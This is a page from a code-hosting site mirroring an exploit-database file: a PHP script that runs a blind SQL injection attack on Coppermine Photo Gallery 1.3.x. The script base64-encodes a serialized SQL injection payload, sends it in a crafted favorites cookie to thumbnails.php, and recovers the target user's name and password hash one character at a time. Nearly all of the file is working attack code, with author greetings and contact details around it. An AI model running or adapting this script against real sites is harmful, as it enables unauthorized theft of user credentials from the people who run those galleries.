PageRenderTime 25ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/3371.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 68 lines | 14 code | 5 blank | 49 comment | 1 complexity | 40ad36ffb27b9c869b9772f959d50d24 MD5 | raw file
Possible License(s): GPL-2.0
  1. <?
  2. # Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit
  3. # by s0cratex, RTM Member
  4. # Visit: www.zonartm.org
  5. /*
  6. You need make a small work... Add a fav pic, enter to the site and add
  7. /addfav.php?pid=2 for example..xD
  8. ... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo
  9. chr($i); break; } }
  10. the word "download" depends of the language...
  11. */
  12. # saludos a rgod, OpTix, crypkey 'n mechas...
  13. error_reporting(0);
  14. ini_set("max_execution_time",0);
  15. ini_set("default_socket_timeout",5);
  16. $host = "localhost"; $path = "/cpg"; $port = "80";
  17. $id = "1";
  18. echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploit\n";
  19. echo "--------------------------------------------------------------\n";
  20. echo "\n";
  21. echo "Username -> ";
  22. $j = 1; $user = "";
  23. while(!strstr($user,chr(0))){
  24. for($x=0;$x<255;$x++){
  25. $xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
  26. $xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
  27. $xpl = base64_encode($xpl);
  28. $cnx = fsockopen($host,$port);
  29. fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
  30. while(!feof($cnx)){
  31. if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break; } }
  32. fclose($cnx);
  33. if ($x==255) {
  34. die("\n Try again..."); }
  35. }
  36. $j++;
  37. }
  38. echo "\n";
  39. echo "Password -> ";
  40. $a = 1; $pass = "";
  41. while(!strstr($pass,chr(0))){
  42. for($i=0;$i<255;$i++){
  43. $xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
  44. $xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
  45. $xpl = base64_encode($xpl);
  46. $cnx2 = fsockopen($host,$port);
  47. fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
  48. while(!feof($cnx2)){
  49. if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; }
  50. }
  51. fclose($cnx2);
  52. if ($i==255) {
  53. die("\n Try again..."); }
  54. }
  55. $a++;
  56. }
  57. echo "--------------------------------------------------------------\n";
  58. echo "s0cratex@zonartm.org || if you speak spanish->MSN: s0cratex@hotmail.com ..xD\n";
  59. echo "www.zonartm.org/blog/s0cratex\n";
  60. echo "plexinium.com comming soon <- Hacking Nica\n";
  61. ?>
  62. # milw0rm.com [2007-02-24]